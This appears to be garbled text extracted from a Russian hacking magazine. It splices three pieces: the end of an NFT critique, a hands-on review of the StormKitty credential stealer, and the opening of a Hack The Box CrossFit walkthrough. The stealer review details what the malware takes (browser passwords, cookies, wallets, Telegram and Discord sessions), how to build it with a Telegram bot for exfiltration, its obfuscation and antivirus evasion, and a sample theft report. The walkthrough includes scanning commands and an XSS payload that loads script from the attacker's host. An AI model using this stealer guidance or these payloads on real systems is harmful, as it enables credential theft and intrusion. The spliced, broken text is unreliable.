вооб ще оце нить? Я готов потерять день ги, прос то уже хочет ся с этим покон‐ 
чить».

ссыл ку

В  ответ  ему  сооб щают,  что  котята  теперь  сто ят  в  рай оне  5  дол ларов
за  обо их,  а  он  сок руша ется:  «Почему  это  про изош ло?»  ,  кста ти,  так
до сих пор и не про даны.

Ко тята

Про ект CryptoKitties был одним из пер вых слу чаев, ког да NFT прив лек к себе
вни мание широкой пуб лики. По задум ке раз работ чиков, игро ки дол жны были
при обре тать  и  скре щивать  кошек,  выводя  ред кие  породы.  В  реаль нос ти
это прев ратилось в типич ную пирами ду. Зарабо тали на крип токотя тах толь ко
их  соз датели  и  пер вые  завод чики.  А  боль шинс тво  покупа телей,  как  быва ет
в  таких  слу чаях,  оста лось  с  нелик видны ми  акти вами  на  руках,  как  толь ко
шумиха улег лась и при ток лохов стал исся кать.
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Раз работ чики  CryptoKitties  (Dapper  Labs)  избе‐ 
жали  гром ких  обви нений  в  мошен ничес тве,  пос‐ 
коль ку  лов ко  при дума ли  называть  про исхо дящее
игрой. Котяток, мол, покупа ют ради раз вле чения,
а  если  кто‐то  захотел  серь езно  в  них  вло жить ся
и потерял день ги, то это его проб лема.

Ху дожес твен ные  про изве дения,  в  отли чие  от  бес конеч но  пло дящих ся  котят,
хотя бы выпус кают ся либо в одном экзем пля ре, либо огра ничен ным тиражом.
Одна ко нич то не стра хует их от заб вения. Если инте рес пуб лики к тех нологии
вдруг нач нет осла бевать, цены вой дут в што пор и могут никог да не вер нуть ся.

Тра дици онные  жан ры  искусс тва  соп ряжены  с  похожи ми  рис ками —  кар‐ 
тины мод ного худож ника тоже могут ока зать ся пере оце нен ными. Но при этом
хотя  бы  не  слу чит ся  такого,  что  кар тины  ока жут ся  пере оце нены  в  прин ципе
или  через  пару  лет  все  решат,  что  скуль пту ры —  это  чушь  собачья.  С  NFT
и  тем более с  какими‐то  кон крет ными пло щад ками — лег ко! За  худож ников
при этом мож но не вол новать ся — они спо кой но перека тят ся на новое мес то,
а вот дорогос тоящие покуп ки — нет.

ЧЕМ ДЕЛО КОНЧИТСЯ?
Ес ли отвлечь ся от мыс лей про шаль ные день ги, вок руг которых вер тится вся
эта затея, то ста новит ся чуть полег че. Приз нать ся, пока я собирал матери ал
для статьи, лис тать Foundation, Nifty и SuperRare было одно удо воль ствие. Все
такое све жее, мод ное и клас сно шевелит ся, что прос то ах!

Рань ше  под борки  мемов,  гифок  и  соч ных  рен деров  были  ско рее  уде лом
любите лей с Tumblr и Pinterest, а теперь на вир туаль ных выс тавках под прис‐ 
мотром  спе циалис тов  рас цве тают  новей шие  фор мы  циф рового  искусс тва.
Так  и  хочет ся  пожелать  успе хов  пер вопро ход цам  –  пус кай  сде лают  с  пыль‐ 
ными  галере ями  то  же,  что  «Википе дия»  сде лала  с  «Бри тан никой»  и  БСЭ.
Воз можность  пла тить  талан тли вым  худож никам  за  их  труд  —  важ ный  шаг
на пути к это му.

Бе зус ловно, часть перечис ленных мной проб лем мож но решить, а с оставши‐ 
мися  най ти  спо собы  как‐то  ужи вать ся.  Но  про изой дет  это  не  сра зу.  NFT
называ ют «уни каль ным явле нием на сты ке вир туаль ного и реаль ного», но его
обратной сто роной будут уни каль ные проб лемы на сты ке тех ничес ких сбо ев
и обык новен ной уго лов щины.

За  при мера ми  далеко  ходить  не  нуж но:  и  сами  крип товалю ты,  и  ICO
пережи ли подоб ный рез кий старт, который вско ре перешел в череду гром ких
скан далов и горь ких разоча рова ний. Исто рии вро де Mt.Gox или The DAO обя‐ 
затель но  пов торят ся  и  в  мире NFT —  уже  даже мож но  при кинуть,  по  каким
швам пой дет раз рыв.

Ну и в кон це кон цов, NFT — это мошен ничес тво в широком смыс ле сло ва.
Если мы наделя ем ценой какую‐то вещь, из  которой нель зя извлечь немед‐ 
ленной поль зы, и даль ше она чего‐то сто ит прос то потому, что мы зас тавили
дру гих в это поверить, то кто‐то обя затель но будет кри чать «обман‐обман!».

Мно гие виды такого «обма на» при этом выжива ют сто лети ями. Люди дав‐ 
но с ними свык лись и научи лись при менять акку рат но, зачас тую даже на бла‐ 
го. Мы называ ем их сло вами вро де «день ги», «акции», «обя затель ства», «дип‐ 
ломы», «под линни ки», «релик вии» и так далее. Не исклю чено, что, ког да пер‐ 
вичный  стар тапер ский  буль он  перес танет  кипеть  и  пузырить ся  на  огне
оппорту низ ма, NFT тоже смо жет встать в один ряд с раз водами‐победи теля‐ 
ми.

Ли бо,  как  вари ант,  выкипит  и  так  заб рызга ет  все  вок руг,  что  к  этой  теме
еще  дол го  ник то  не  захочет  при касать ся.  С  тех нологи ями,  которые  «стре‐ 
ляют» преж девре мен но, такое быва ет сплошь и рядом.

Читай также

• Се год ня в эфи ре. Крат кий экскурс в Ethereum
• О чем весь этот Ethereum. Виталик Бутерин о себе и о соз дании Ethereum
• Рас пре делен ное  авто ном ное  ограбле ние.  Как  хакер  разорил  глав ный
крип товалют ный про ект года

• Ат лас  мира  крип товалют.  Раз бира емся  с  ICO  и  ори енти руем ся  в  новых
крип топро ектах

• Как  кра дут  день ги  при  ICO.  Раз бира ем  типовые  сце нарии  похище ния
средств и самих ICO
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https://twitter.com/jonty/status/1372163423446917122
https://twitter.com/scanlime/status/1371509988179464196
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https://www.cryptokitties.co/kitty/182392
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ВЗЛОМ

Об щеиз вес тно,  что,  если  ты  вдруг  забыл  (или  никог да
не  знал)  пароль  от  какого‐нибудь  сер виса,  но  он  сох ранен
в бра узе ре, есть воз можность его отту да дос тать. Не менее
извес тно и то, что с такой же лег костью сох ранен ные пароли
дос танет и любой тро ян, по сте чению обсто ятель ств попав‐ 
ший к тебе в комп. Сегод ня мы рас смот рим один такой вре‐ 
донос с милым наз вани ем и покажем, как он работа ет.

При пен тесте орга низа ции час то быва ет нуж но выпол нить наг рузку на взло‐ 
ман ном  компь юте ре.  Мак сималь но  убе дитель ным  доказа тель ством  успе ха
для заказ чика будет спи сок паролей с компь юте ров сот рудни ков, а получить
их поможет прек расный сти лер StormKitty. Он бес плат ный, откры тый, ста биль‐ 
но работа ет, а еще при сыла ет резуль таты работы пря мо в Telegram. Сказ ка,
а не сти лер. Немуд рено, что с гит хаба его уже снес ли (впро чем, ненадол го),
а анти виру сы истошно кри чат при его виде.

Раз уж ты чита ешь «Хакер», бес смыс ленно рас ска зывать, зачем нужен сти‐ 
лер и  чем он отли чает ся от шиф роваль щика или рат ника. Луч ше давай ска‐ 
чаем  исходни ки  или  готовый  билд  с    про екта  на  GitHub,  рас паку ем
и пос мотрим на него поб лиже.

зер кала

WARNING

Ав тор  и  редак ция  не  несут  ответс твен ности
за  любой  вред,  при чинен ный  с  исполь зовани ем
матери алов  этой  статьи.  Рас простра нение  вре‐ 
донос ных  прог рамм,  несан кци они рован ный  дос‐ 
туп к информа ции, наруше ние тай ны перепис ки —
уго лов ные прес тупле ния. При про веде нии тес тов
на  про ник новение  необ ходим  пись мен ный
договор с заказ чиком.

ЛАПКИ МНОГОФУНКЦИОНАЛЬНЫЕ
Что вооб ще может наш кот? По завере нию   — мно го чего. Тут и сама
кра жа  дан ных,  и  фин гер прин тинг  сис темы,  и  даже  более  прод винутые фун‐ 
кции, вро де про тиво дей ствия ана лизу и встро енно го в сбор щик обфуска тора.
Толь ко за пивом ходить не уме ет! Вот пол ный спи сок заяв ленных фун кций:

ав тора

 Сюда вхо дит обна руже ние вир туаль ных машин Hyper‐V, Vir‐
tualBox  и  VMware  (по  иден тифика торам  вир туаль ного  обо рудо вания),
песоч ниц Sandboxie  и COMODO  (по  спис ку  про цес сов),  а  так же  ана лиза
на  VirusTotal  и  Any.Run.  Анти дебаг гер  прос то  дер гает  WinAPI‐фун кцию

,  а  защита  от  запус ка  в  сис темах
онлайн‐ана лиза  про веря ет,  не  при над лежит  ли  внеш ний  IP  хос тинг‐про‐ 
вай деру. Чес тно говоря, я ожи дал тут чего‐то боль шего.

• Ан тиана лиз.

CheckRemoteDebuggerPresent

 Собира ет вер сию ОС, модель и харак терис тики цен‐ 
траль ного про цес сора и GPU, све дения об опе ратив ной памяти, IP‐адре‐ 
сах, BSSID окру жающих точек дос тупа, геоло кацию, информа цию об экра‐ 
не  и  уста нов ленных  прог раммах.  Спи сок  вну шитель ный,  и  StormKitty
генери рует  даже  иден тифика тор  сис темы,  поз воля ющий  однознач но
опре делить компь ютер. В довесок уле тают ключ акти вации сис темы и спи‐ 
сок про цес сов.

• Фин гер прин тинг.

  Под  раз дачу  (точ нее,  сбор)
попада ют бра узе ры на Chromium (похища ются пароли, дан ные карт, cook‐
ies, исто рия, дан ные авто запол нения и зак ладки), Firefox (cookies, исто рия
и зак ладки, а так же про чие фай лы БД из пап ки бра узе ра), Internet Explorer
и Microsoft Edge (из них дос тают ся толь ко пароли).

• По хище ние  дан ных  из  бра узе ров.

  Сти лер  отпра вит  тебе  сох ранен ные  сети
и резуль таты ска ниро вания дос тупных сетей (тог да в отчет попада ют SSID
и BSSID най ден ных точек дос тупа).

• Ин форма ция о сетях Wi-Fi.

  Докумен ты,  кар тинки,  исходный  код,
базы дан ных — в общем,  все,  что может пред став лять цен ность. Сти лер
так же  уме ет  работать  с  флеш ками.  В  коде  ука заны  фор маты  фай лов,
которые  будут  похище ны.  И  если  с  кар тинка ми  и  докумен тами  все
более‐менее  пред ска зуемо,  то  исходно го  кода  автор  решил  наворо вать
впрок:  в  спис ке  похища емых  —  язы ки  C,  C++,  C#,  ассем блер,  Bash,
Python,  HTML  и  CSS  (WTF?),  PHP,  Go,  JavaScript,  Ruby,  Perl,  Swift,  Java
и Kotlin.

• Сбор  фай лов  с  компь юте ра.

 Если фун кции выше еще мож но при тянуть за уши к закон ным целям,
то ковырять финан совые сай ты — однознач но зло. Мы эту фун кцию не тес‐ 
тирова ли и тебе не рекомен дуем.

• Об наруже ние бан ков ских и крип товалют ных сер висов в бра узе- 

рах.

 Сюда вхо дят Steam, Uplay, Bat‐
tle.Net и, конеч но, все ми любимый Minecraft.

• Кра жа сес сий из игро вых плат форм.

  Если с  кей лог гером все понят но
и  в  одной  из  прош лых  ста тей  я  даже  ,  как  его  сде лать  самос‐ 
тоятель но, то клип пер не такой извес тный вид вре доно са. Его суть в том,
что он ищет в буфере обме на опре делен ную информа цию и под меня ет ее
дру гой.  Типич ный  при мер  —  адре са  кошель ков  Bitcoin  и  дру гих  крип‐ 
товалют,  которые вруч ную набирать мало  кто реша ется.  Хоба — и адрес
под менен, а дра гоцен ные бит кой ны уле тели на левый кошелек.

• Ус танов ка кей лог гера и клип пера.

по казы вал

 Автор заяв ляет, что камера акти виру‐ 
ется,  ког да  поль зователь  будет  замечен  за  прос мотром  неп ристой ного
кон тента.

• Скрин шоты с экра на и камеры.

 В спис ке есть ProtonVPN, OpenVPN и NordVPN.• Кра жа акка унтов VPN.

 Да‐да, трой име‐ 
ет  спе циали зиро ван ную  фун кцию  даже  для  это го.  Неуди витель но,  что
рань ше он про давал ся на под поль ных форумах. Что каса ется под вержен‐ 
ных  рис ку  кошель ков,  то  это  Zcash,  Armory,  Bytecoin,  Jaxx,  Exodus,
Ethereum, Electrum, AtomicWallet, Guarda и Coinomi. Смею наде ять ся, что ты
никог да не при менишь эту фун кцию.

• Сбор кри тичес ких фай лов локаль ных кошель ков.

• За пись струк туры дирек торий.

  При  этом  зло умыш ленник  будет
исполь зовать тот же токен, что и ори гиналь ный поль зователь, так что лиш‐ 
них записей в спис ке активных сеан сов не появит ся.

• Ко пиро вание  сес сий  Telegram.

  Тут  без  ком‐ 
мента риев.

• Ак каун ты Outlook,  Pidgin,  Skype, Discord  и  Filezilla.

 Было бы стран но, если бы ее не было. Реали зова на она
неожи дан но  прос то:  исполня емый  файл  наг рузки  прос то  копиру ется
в пап ку авто запус ка — никаких тебе реес тров и пла ниров щиков.

• Ав тозаг рузка.

Как  видишь,  набор  фун кций  весь ма  обширный  (и  доб рая  полови на  воз‐ 
можнос тей даже близ ко не похожа на закон ные). Но, нес мотря на это, выход‐ 
ной билд занима ет все го 239 Кбайт и все зависи мос ти встро ены.

УСТАНОВКА
Ес ли  ты  ска чал  исходни ки,  то  при дет ся  сна чала  соб рать  их.  Код  написан
на C# и хорошо чита ется, так что мож но «на живом паци енте» изу чать устрой‐ 
ство подоб ных прог рамм. Для сбор ки я исполь зовал Visual Studio 2019 с уста‐ 
нов ленным  ком понен том  .NET  desktop  development.  Все  ском пилиро валось
сра зу и без фокусов — уди витель но!

Вмес то сер вера тут Telegram‐бот. Что бы его исполь зовать, при дет ся соз‐ 
дать новый бот и зарядить его токен в наш билд. Для это го отправь 

 коман ду   и сле дуй инс трук циям.
глав ному

боту /newbot

По лучит ся при мер но так

За тем нуж но ско пиро вать токен (который я замылил) и вста вить его в бил дер.
Он  пред став ляет  собой  кон соль ное  при ложе ние  на  все  том  же C#.  Сбор ка
сос тоит из нес коль ких воп росов, пос ле которых будет выведен путь к готово‐ 
му бил ду.

Часть фун кций  (нап ример,  клип пер и  кей лог гер) не будут дос тупны, если
не исполь зовать авто запуск.

Сбор ка

Как  видишь,  исполь зует ся  обфуска ция  про тек тором  ConfuserEx.  Он,  кста ти,
вклю чен в релиз ную вер сию бил дера в пол ном вари анте,  хотя исполь зует ся
толь ко кон соль ный. Я не мог не про верить, что получа ется на выходе, и заг‐ 
рузил  билд  в  деком пилятор  dnSpy.  Резуль тат  меня  обра довал:  от  кода
не оста лось ничего челове кочи таемо го.

Код в dnSpy

INFO

ConfuserEx  —  бес плат ный  и  откры тый  про тек тор
для  .NET‐при ложе ний.  Ори гиналь ный 

  авто ра  заб рошен,  но  мне  уда лось  най ти
  форк  про екта.  Сре ди  про чего  этот

про тек тор  под держи вает  защиту  от  отладчи ков
и  дам перов  памяти,  обфуска цию  потока  выпол‐ 
нения  и  шиф рование  кода.  Доволь но  мощ ный
ком байн,  который  гаран тирован но  отпугнет мно‐ 
гих взлом щиков!

ре пози‐ 
торий
бо лее  живой

Так же я заг рузил обфусци рован ный билд на  , на котором прив‐ 
лек вни мание 35 из 69 движ ков. При этом Avast, «Док тор Веб» и «Кас пер ский»
мол чат, что меня очень уди вило. Ругани хва тает и на сам факт исполь зования
Confuser. К бил деру воп росов еще боль ше: сре аги рова ли 51 из 68. Видимо,
это из‐за содер жания внут ри ничем не прик рытой наг рузки.

virustotal.com

ТЕСТИРУЕМ
Билд я соб рал вруч ную из исходни ков. Клип пер и кей лог гер не вклю чал, авто‐ 
запуск тоже. Ненуж ные фун кции на вся кий слу чай вырезал вооб ще.

При запус ке получил фей ковое сооб щение об ошиб ке.

Че рез пять минут пос ле запус ка приш ло длин ное сооб щение, в котором была
ссыл ка на файл. Давай пос мотрим на сооб щение поб лиже.

�  StormKitty - Report: 

Date: 2021- -  6:53:28 PM 
System: Windows 10 Pro (64 Bit) 
Username: Hackcat 
CompName: HACKCAT-PC 
Language: �  en-US 
Antivirus: Not installed

XX XX

�  Hardware: 
CPU: Intel(R) Core(TM) i7-2670QM CPU @ 2.20GHz 
GPU: NVIDIA GeForce GT 540M 
RAM: 8102MB 
HWID: BFEBFBFF00*XXXXXX* 
Power: High (0.99%) 
Screen: 1366x768
�  Network: 

Gateway IP: 192.168.100.1 

Internal IP: 10.121. .  

External IP:  . .182.6 

BSSID: cc:1a:fa: : :

X X
X X

XX XX XX
�  Domains info: 

∟ �  Banking services: 
- Agent.Privatbank 
- Qiwi 
- Stackexchange 
- Yoomoney 
- Оао Бпс‑Сбер банк 
∟ �  Cryptocurrency services: 
- Blockchain 
- My Btc Address 
- Trade.Aliexpress 
∟ �  Porn websites (No data)
�  Browsers: 

∟ �  Passwords: 468 
∟ �  Cookies: 2466 
∟ �  AutoFill: 1457 
∟ ⏳  History: 5892 
∟ �  Bookmarks: 18 
∟ �  Downloads: 427

� Software: 
∟ ✈  Telegram sessions 
∟ �  Discord token

� Device: 
∟ � Windows product key 
∟ � Wifi networks: 16 
∟ �  Desktop screenshot

� Installation: 
∟ ⛔  Startup disabled 
∟ ⛔  Clipper not installed 
∟ ⛔  Keylogger not installed
�  File Grabber: 

∟ �  Source code files: 404 
∟ �  Database files: 8 
∟ �  Documents: 716 
∟ �  Images: 75
�  Archive download link (https://anonfiles.com/ ) 

�  Archive password is: "7e550a68*XXXXXXXXXXXXXXXXX*97682ff"
XXXXXXXXXX

Все потен циаль но чувс тви тель ные дан ные я замазал, что бы не было желания
покопать ся в моих фай лах.

В  самом  сооб щении  ничего  осо бо  цен ного  нет.  Но  из  ука зан ного  бро‐ 
сают ся в гла за нес коль ко оши бок: Internal IP и Gateway IP не сог ласу ются меж‐ 
ду собой  (потому  что внут ренний  IP при над лежит VPN),  а  спи сок всех адап‐ 
теров и их адре сов не выводит ся. При этом адап теров у меня боль ше десят‐ 
ка — спа сибо Microsoft Hyper‐V! Короче, тут косяк. Так же StormKitty не нашел
вто рой экран.

Пос ле  ска чива ния  и  рас паков ки  фай ла  по  ссыл ке  я  уви дел  такой  набор
папок.

ЧТО В МЕШКЕ?
Прос леду ем в пап ку  . Тут видим  ,   и 

. В пап ке Гуг ла ожи даемо дан ные из «Хро ма» в акку рат ных тек сто вых
фай лах.  Тут  у  нас и  авто запол нение,  и  зак ладки  (не  те,  которые  купил,  а  те,
которые зак репил в панель), и исто рия, и, конеч но, кукисы.

Browsers Google InternetExplorer Thun‐
derbird

Есть и перечень ска чан ных фай лов. Он сох ранен в виде спис ка со стро ками
такого вида:

### X:\fakepath\drweb‐cureit‐new.exe 
### (https://free.drweb.ru/download+cureit+free/?ph=6501001bf82f... 

И не был бы это сти лер, если бы он не украл пароли. Они сох раня ются в виде
таких записей:

Url: https://www.noip.com/sign‐up 
Username: fake@xakep.ru 
Password: did_y0u_expect_to_see_my_rea1_pa$$w0rd? 

Url: http://192.168.0.1/ 
Username: admin 
Password: admin 
... 

В пап ке для Internet Explorer ока зал ся толь ко токен авто риза ции в Azure Cloud
Shell  для  Windows  Terminal.  Что  каса ется  Thunderbird  —  про фили  сти лер
извлек, вот толь ко они оста лись зашиф рованы. Не судь ба, зна чит.

Те перь  пош ли  в  .  Там  в  отдель ных  тек сто вых  фай лах  раз‐ 
ложена  дре вовид ная  струк тура  некото рых  папок  на  компь юте ре  жер твы.
Сюда вхо дят «Рабочий стол», «Докумен ты», «Заг рузки», «Кар тинки», «Авто заг‐ 
рузка»,  «Виде оза писи»  и  вре мен ная  пап ка  сис темы.  Чес тно  говоря,  слож но
пред ста вить, зачем это может быть нуж но.

Directories

Пап ка    ока залась  пол ностью  бес полез на.  «Котенок»  рас копал
у меня Minecraft, из которо го заб рал скрин шоты и спи сок уста нов ленных вер‐ 
сий.

Gaming

Смот рим резуль таты работы граб бера. Он натас кал 1193 фай ла общим объ‐ 
емом 2,2 Мбайт. Зву чит несерь езно! Ока зыва ется, он упа ковал пару мел ких
фоток,  json‐кон фигов и  про чего  хла ма,  при  этом про пус тив  лежащие рядом
инте рес ные  фай лы.  Так же  в  ком плект  попала  пап ка,  в  которую  я  кло нирую
репози тории с GitHub, — вот цен ность‐то!

Ко роче,  граб бер ока зал ся бес полез ным. До дис ка D он  вооб ще не доб‐ 
рался, воп реки заяв лени ям авто ра, что он весь комп переро ет и вытащит все
цен ное. Логика работы по мень шей мере стран ная, и даже в теп личных усло‐ 
виях ничего цен ного (и даже явно попада юще го под филь тр) не наш лось.

В  пап ке    дол жно быть  самое  инте рес ное. Внут ри  у меня  наш‐ 
лось  две  под папки  —    и  .  В  пап ке  с  «телегой»  находит‐ 
ся 16 фай лов, под ста вив которые к голому бинар нику Telegram в пап ку 
я смог зай ти в свою сес сию без лиш них под твержде ний.

Messenger
Telegram Discord

tdata

INFO

Пот ребовал ся,  конеч но,  локаль ный  пароль,
но  сбру тить  четыре  циф ры  офлайн  — 

.
де ло  пле‐ 

вое

Ин форма ция  о  Discord  вклю чает  в  себя  токен  (все  обна ружен ные  токены
забот ливо скла дыва ются в фай лик  ) и копию сес сион ных фай лов.
Ничего зап редель ного.

tokens.txt

Пос ледней  на  сце не  появ ляет ся  пап ка  ,  в  которой  ожи даемо
содер жится общая информа ция о целевом компь юте ре. В спи сок таких дан‐ 
ных  вхо дит  скрин шот  экра на  (прав да,  толь ко  глав ного:  вто рой мой монитор
на скрин шот не попал),  спи сок про цес сов,  ключ акти вации Windows,  спи сок
сох ранен ных и дос тупных сетей Wi‐Fi, а так же спи сок активных при ложе ний.

System

В спис ке про цес сов есть PID и путь  к бинар нику,  но почему‐то нет аргу‐ 
мен тов запус ка. Стран но.

NAME: svchost 
   PID: 816 
   EXE: C:\Windows\system32\svchost.exe 

NAME: iCUE 
   PID: 1728 
   EXE: C:\Program Files (x86)\Corsair\CORSAIR iCUE 
Software\iCUE.exe 

NAME: RuntimeBroker 
   PID: 5984 
   EXE: C:\Windows\System32\RuntimeBroker.exe 

NAME: Typora 
   PID: 2104 
   EXE: C:\Program Files\Typora\typora.exe 
... 

Спи сок сох ранен ных сетей тоже не очень раду ет: для откры тых сетей вмес то
пароля ука зано  .65001

PROFILE: test‐open‐net 
PASSWORD: 65001 

PROFILE: TP‐LINK_**** 
PASSWORD: 28408284 

PROFILE: ZTE‐8***** 
PASSWORD: cc1***** 
... 

Впро чем,  вывод  сле дующе го  дам па  про ясня ет  это  поведе ние:  если  сеть
откры тая, вмес то пароля будет вытаще но   из пер вой стро ки — 

. Кста ти, вывод спис ка дос тупных сетей выг лядит неп лохо:
65001 Active 

code page: 65001

Active code page: 65001 

Interface name : Wi‐Fi 
There are 2 networks currently visible. 

SSID 1 : Ext 
   Network type            : Infrastructure 
   Authentication          : WPA2‐Personal 
   Encryption              : CCMP 
   BSSID 1                 : b0:4e:**:**:**:** 
        Signal             : 99% 
        Radio type         : 802.11n 
        Channel            : 6 
        Basic rates (Mbps) : 1 2 5.5 11 
        Other rates (Mbps) : 6 9 12 18 24 36 48 54 

SSID 2 : ZTE‐8***** 
   Network type            : Infrastructure 
   Authentication          : WPA2‐Personal 
   Encryption              : CCMP 
   BSSID 1                 : cc:1a:**:**:**:** 
        Signal             : 99% 
        Radio type         : 802.11n 
        Channel            : 6 
        Basic rates (Mbps) : 6.5 16 19.5 117 
        Other rates (Mbps) : 18 19.5 24 36 39 48 54 156 

По каза ния  ска нера,  конеч но, мес тами  стран ные,  но  спи сок  сетей  и  некото‐ 
рую  информа цию  он  показал  пра виль но.  Нас толь ко  пра виль но,  что  часть
даже замазать приш лось.

И пос ледний файл отче та — спи сок откры тых окон. Стран но,  как некото‐ 
рые из  записей ока зались в этом спис ке,  но все откры тые окна были обна‐ 
руже ны точ но. При мер записи ниже.

NAME: devenv 
   TITLE: StormKitty ‐ Microsoft Visual Studio (Administrator) 
   PID: 11868 
   EXE: C:\Program Files (x86)\Microsoft Visual Studio\2019\Communi‐
ty\Common7\IDE\devenv.exe 

NAME: GitHubDesktop 
   TITLE: GitHub Desktop 
   PID: 2620 
   EXE: C:\Users\Hackcat\AppData\Local\GitHubDesktop\app‐
2.6.6\GitHubDesktop.exe 

NAME: Windscribe 
   TITLE: Windscribe 
   PID: 15260 
   EXE: C:\Program Files (x86)\Windscribe\Windscribe.exe 
... 

Спи сок про цес сов поч ти такой же: по сути, добавил ся толь ко заголо вок окна.
Опять же — никакой информа ции об аргу мен тах. «Котик» как бы изде вает ся,
не давая нам важ ный кусок информа ции.

ЗАКЛЮЧЕНИЕ
Впе чат ления  ока зались  нес коль ко  про тиво речи выми,  поэто му  прос то
перечис лю  плю сы  и  минусы,  а  ты  сам  сде лаешь  вывод,  под ходит  ли  тебе
такой вари ант.

Плю сы:
со бира ется без фокусов с пер вого раза;•
билд занима ет все го нес коль ко сот килобайт;•
ав томати чес кая обфуска ция;•
хо рошо чита ется исходник;•
бес плат ный;•
мно го воз можнос тей;•
не нуж дает ся в C&C;•
ко тики милые.•

Ми нусы:
па лит ся анти виру сами (пусть и не все ми);•
нет воз можнос ти управлять заражен ными машина ми;•
не кото рые  фун кции  работа ют  не  так,  как  надо  (тот  же  граб бер  и  извле‐ 
чение паролей из Thunderbird);

•

не показы вает часть важ ной информа ции;•
за висит  от  .NET  4.  Впро чем,  .NET  лег ко  ста вит ся  даже  на  Windows  XP
и пре дус танов лен начиная с Windows 7;

•

по рой  некор рек тное  поведе ние  и  откро вен но  стран ные  решения.  Анти‐ 
отладка через пря мой зап рос к WinAPI — выг лядит, конеч но, надеж но!

•

Плю сов вро де боль ше, но минусы весь ма зна читель ные. К тому же часть фун‐ 
кций про верить не уда лось, а фан тазиро вать не хотелось бы. Глав ное — пом‐ 
ни,  что перед исполь зовани ем понадо бит ся отклю чить защиту или про вес ти
ночь с про тек торами, упа ков щиками, обфуска тора ми и про чей нечистью.

https://github.com/hochupitsu/StormKitty
https://github.com/LimerBoy
https://xakep.ru/2019/03/15/diy-keylogger/
https://t.me/BotFather
https://github.com/yck1509/ConfuserEx
https://github.com/mkaring/ConfuserEx
https://virustotal.com/
https://github.com/hashcat/hashcat/pull/2355
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ВЗЛОМ

В  этой  статье  на  при мере  «безум ной»
по  уров ню  слож ности  машины  CrossFit
с  пло щад ки    я  покажу,
как  искать  XSS  на  недос тупных  стра ницах
сай та, ска ниро вать домены через XSS, про‐ 
водить раз ведку на машине с Linux, уда лен‐ 
но исполнять код, исполь зуя FTP, и экс плу‐ 
ати ровать  инъ екцию  команд  в  поль‐ 
зователь ском  при ложе нии.  А  под  конец
нем ного поревер сим, что бы най ти финаль‐ 
ную уяз вимость.

Hack  The  Box

WARNING

Под клю чать ся  к  машинам  с  HTB  рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока‐ 
жешь ся в общей сети с дру гими учас тни ками.

РАЗВЕДКА
Сканирование портов
Ад рес машины — 10.10.10.208, добав ляем его в   для удобс тва./etc/hosts

10.10.10.208    crossfit.htb 

Ска ниру ем  пор ты.  Я,  как  всег да,  исполь зую  неболь шой  скрипт,  который
запус кает Nmap в два эта па: быс трое общее ска ниро вание и затем ска ниро‐ 
вание со скрип тами на обна ружен ных пор тах.

#!/bin/bash
nmap    500   |         1 | 

     |  s/, /
ports=$( ‐p‐ ‐‐min‐rate= $1 grep ^[0‐9] | cut ‐d '/' ‐f
tr '\n' ',' sed  $/ )
nmap     ‐p$ports ‐A $1

Ре зуль тат работы скрип та

Ре зуль тат работы скрип та (про дол жение)

По резуль татам ска ниро вания име ем три откры тых пор та:
порт 21 — служ ба FTP (обра ти вни мание на наличие сер тифика та);•
порт 22 — служ ба SSH;•
порт 80 — веб‐сер вер Apache.•

На SSH нам ловить нечего, так как там мож но раз ве что брут форсить учет ные
дан ные, а это пос леднее дело. Куда инте рес нее наличие сер тифика та у служ‐ 
бы  FTP.  Как  учат  все  кур сы раз ведки,  из  сер тифика та мож но  получить  инте‐ 
рес ную  информа цию.  У  любого  сер тифика та  есть  важ ное  поле  Common
Name  —  домен ное  имя  сер вера,  для  которо го  дей стви телен  сер тификат.
В нашем слу чае это  .gym‐club.crossfit.htb

До мен ное имя, ука зан ное в поле Common Name

Най ден ное имя мы сра зу добав ляем в файл  ./etc/hosts

10.10.10.208    gym‐club.crossfit.htb 

Перебор каталогов
Пе рехо дим  к  веб‐сер веру.  На  80‐м  пор те  по  адре су 
нас встре чает стар товая стра ница Apache. А вот по най ден ному в сер тифика‐ 
те домену   откры вает ся сайт  тре нажер ного
зала.

http://crossfit.htb

http://gym‐club.crossfit.htb

Стар товая стра ница Apache по адре су http://crossfit.htb

Поль зователь ский сайт http://gym‐club.crossfit.htb

Од но из пер вых дей ствий при пен тестин ге веб‐при ложе ния — это ска ниро‐ 
вание  сай та  на  наличие  инте рес ных  катало гов  и  фай лов.  Я  обыч но  беру
для это го ути литу  . При запус ке исполь зуем сле дующие парамет ры:gobuster

 — ска ниро вание дирек торий и фай лов;• dir

 — не про верять SSL‐сер тификат;• k

 — количес тво потоков;• t []

 — URL‐адрес для ска ниро вания;• u []

  —  инте ресу ющие  рас ширения  фай лов,  перечис ленные  через
запятую;

• x  []

 — сло варь для перебо ра;• w []

 — вре мя ожи дания отве та.• timeout []

   128 

 30s 

gobuster dir ‐t ‐u http://crossfit.htb/ ‐w /usr/share/wordlists/
dirbuster/directory‐list‐lowercase‐2.3‐medium.txt ‐x html,php 
‐‐timeout

Об наружен ные под катало ги и фай лы на http://crossfit.htb

   128 

 30s 

gobuster dir ‐t ‐u http://gym‐club.crossfit.htb/ ‐w /usr/share/
wordlists/dirbuster/directory‐list‐lowercase‐2.3‐medium.txt ‐x html,
php ‐‐timeout

Об наружен ные под катало ги и фай лы на http://gym‐club.crossfit.htb

По  резуль татам  ска ниро вания  мож но  ска зать,  что 
инте реса боль ше не пред став ляет. На   есть
инте рес ный  каталог  с  вызыва ющим  наз вани ем  .  В  нем —
единс твен ный  файл,  при  обра щении  к  которо му  получа ем  сооб щение,  что
дос туп к информа ции огра ничен.

http://crossfit.htb
http://gym‐club.crossfit.htb

security_threat

Со дер жимое http://gym‐club.crossfit.htb

Об наружен ные под катало ги и фай лы на http://gym‐club.crossfit.htb

По ка ничего сущес твен ного мы не наш ли, но все же получи ли допол нитель‐ 
ную информа цию.

ТОЧКА ВХОДА
При  осмотре  сай та  находим фор му  отправ ки  ком мента риев,  которые  могут
быть под верже ны XSS. Вот толь ко ответ мы не видим, поэто му нуж но выпол‐ 
нить  отстук  на  свой  хост.  Для  это го  откро ем  порт  с  помощью  прос того
веб‐сер вера на Python, что бы мы мог ли отлавли вать все обра щения.

 http.server 80 sudo python3 ‐m

И, ког да все готово, отпра вим наг рузку, которая дол жна заг рузить уда лен ный
скрипт на JS.

<script src="http://[локальный IP адрес]/></script>

Тес товая наг рузка в поле ком мента рия

В качес тве отве та на такой ком мента рий получа ем сооб щение об обна ружен‐ 
ной и заб локиро ван ной ата ке XSS!

